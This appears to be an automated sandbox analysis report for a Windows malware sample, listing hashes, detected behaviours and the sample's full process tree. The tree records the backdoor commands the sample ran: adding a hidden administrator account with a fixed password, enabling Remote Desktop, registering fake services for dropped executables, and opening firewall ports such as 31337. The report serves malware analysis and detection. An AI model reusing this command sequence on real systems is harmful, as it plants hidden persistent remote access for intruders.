Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    05-09-2024 23:26

General

  • Target

    ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe

  • Size

    1.2MB

  • MD5

    ce24e3f6a77491b84dab3c0a6b0203a1

  • SHA1

    070cc99e68a501a6a37ba6155ef2623015dd8967

  • SHA256

    48a16449873f16df73c4468805415769a863062802fdcb30568bf5bb2170bf17

  • SHA512

    7ac4c6496a7d4e522df0664a285bf32303a83f342cebda50cb75ddc23d8d3ac8cd75a5f74aa5ca95920e62cc1a9fd6f8ace385461564dd2c3eb5640956a9d1fd

  • SSDEEP

    24576:7JLMxzpMJbMfUJqhQLklSRvfd8lgDy+BaxZEyr+tE0:2zmJbQU+QwSNlvy+BEnr+tP

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Creates new service(s) 2 TTPs
  • Modifies Windows Firewall 2 TTPs 7 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Password Policy Discovery 1 TTPs

    Attempt to access detailed information about the password policy used within an enterprise network.

  • Hide Artifacts: Hidden Users 1 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 21 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1172
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe" -silent
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:1720
    • C:\Windows\SysWOW64\sc.exe
      sc start mnmsrvc
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2828
    • C:\Windows\SysWOW64\sc.exe
      sc Start TlntSvr
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2944
    • C:\Windows\SysWOW64\sc.exe
      sc Start TermService
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2544
    • C:\Windows\SysWOW64\net.exe
      net start FastUserSwitchingCompatibility
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2700
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 start FastUserSwitchingCompatibility
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2564
    • C:\Windows\SysWOW64\net.exe
      net start TermService
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2924
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 start TermService
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2704
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2592
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2820
    • C:\Windows\SysWOW64\net.exe
      net user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2532
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1824
    • C:\Windows\SysWOW64\net.exe
      net localgroup Microsoft /add
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2556
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 localgroup Microsoft /add
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2920
    • C:\Windows\SysWOW64\net.exe
      net localgroup Àäìèíèñòðàòîðû Microsoft /add
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2616
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 localgroup Àäìèíèñòðàòîðû Microsoft /add
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3068
    • C:\Windows\SysWOW64\net.exe
      net localgroup Administrators Microsoft /add
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1268
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 localgroup Administrators Microsoft /add
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2884
    • C:\Windows\SysWOW64\net.exe
      net accounts /maxpwage:unlimited
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2588
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 accounts /maxpwage:unlimited
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2872
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Microsoft /t REG_DWORD /d 0 /f
      2⤵
      • Hide Artifacts: Hidden Users
      • System Location Discovery: System Language Discovery
      PID:2860
    • C:\Windows\SysWOW64\sc.exe
      sc stop "ProtocolWindows_ "
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:536
    • C:\Windows\SysWOW64\sc.exe
      sc delete "ProtocolWindows_ "
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1072
    • C:\Windows\SysWOW64\sc.exe
      sc create "ProtocolWindows_ " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" displayname= "Protocol HTTP/SSL " type= own start= auto error= ignore
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1996
    • C:\Windows\SysWOW64\sc.exe
      sc description "ProtocolWindows_ " "Ýòà ñëóæáa îáåñïå÷èâàåò áåçîïañíûé ïðîòîêîë ïåðåäà÷è äàííûõ ãèïåðòåêñòà (HTTPS) äëÿ ñëóæáû HTTP. Åñëè ýòà ñëóæáà îòêëþ÷åía, ëþáûå ñëóæáû, êîòîðûå ÿâíî çaâèñÿò îò íåå, íå ìîãóò áûòü çàïóùåíû. "
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2176
    • C:\Windows\SysWOW64\sc.exe
      sc stop "PlugAndPlay"
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2060
    • C:\Windows\SysWOW64\sc.exe
      sc delete "PlugAndPlay"
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2084
    • C:\Windows\SysWOW64\sc.exe
      sc create "PlugAndPlay" displayname= "PlugAndPlay " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" type= own start= auto error= ignore
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2636
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SYSTEM\CurrentControlSet\services\PlugAndPlay" /v ImagePath /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" /f
      2⤵
      • Sets service image path in registry
      • System Location Discovery: System Language Discovery
      PID:1264
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_REGDWORD /d 3389 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1248
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN" /v iexplore.exe /t REG_REGDWORD /d 0 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1812
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe" ENABLE
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:1096
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" ENABLE
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:1868
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram ctfmon.exe ENABLE
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:336
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add portopening protocol = TCP port = 3389 name = TCP
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:1668
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add portopening protocol = TCP port = 31337 name = TCP
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:2088
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add portopening protocol = TCP port = 80 name = TCP
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:1160
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add portopening protocol = TCP port = 8080 name = TCP
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:3008

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe

    Filesize

    81KB

    MD5

    6e0966f100cb1f523179c0adba52d45a

    SHA1

    d3d27da135e1388bc6619bc3f81a3324d2e9d645

    SHA256

    71059380b8346728a26de74e7a721e63bd9f18e81f1eec76adeabd998fb13e3b

    SHA512

    3dbebfd08ab3df57fefe193cd98f6ab8aeeff3406d70cc56604d8d0144de2c2b18a56f99281c93d21849badd0d76cbb943d09ce6573271af94fefb4323fbeefd

  • \Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe

    Filesize

    44KB

    MD5

    c104fc64f8ed6950ce08a5d653e9e4d7

    SHA1

    e1186adecb3c647cbec0705df4a8aa80281790c9

    SHA256

    8ded98254676bb6a64435119df030d84e8186b75051b8a1e7928aa52c8bb3937

    SHA512

    2b6a7f44b34af744108769658391ff46e885f09f974c32f9a5b0b559bf9e93b1185acb8fe6841c74848e4e06ff9ee31aaca6a648d43f39ae16dcaa96d576335c

  • memory/1172-0-0x0000000000400000-0x0000000000548000-memory.dmp

    Filesize

    1.3MB

  • memory/1172-26-0x0000000000400000-0x0000000000548000-memory.dmp

    Filesize

    1.3MB

  • memory/1172-29-0x0000000000400000-0x0000000000548000-memory.dmp

    Filesize

    1.3MB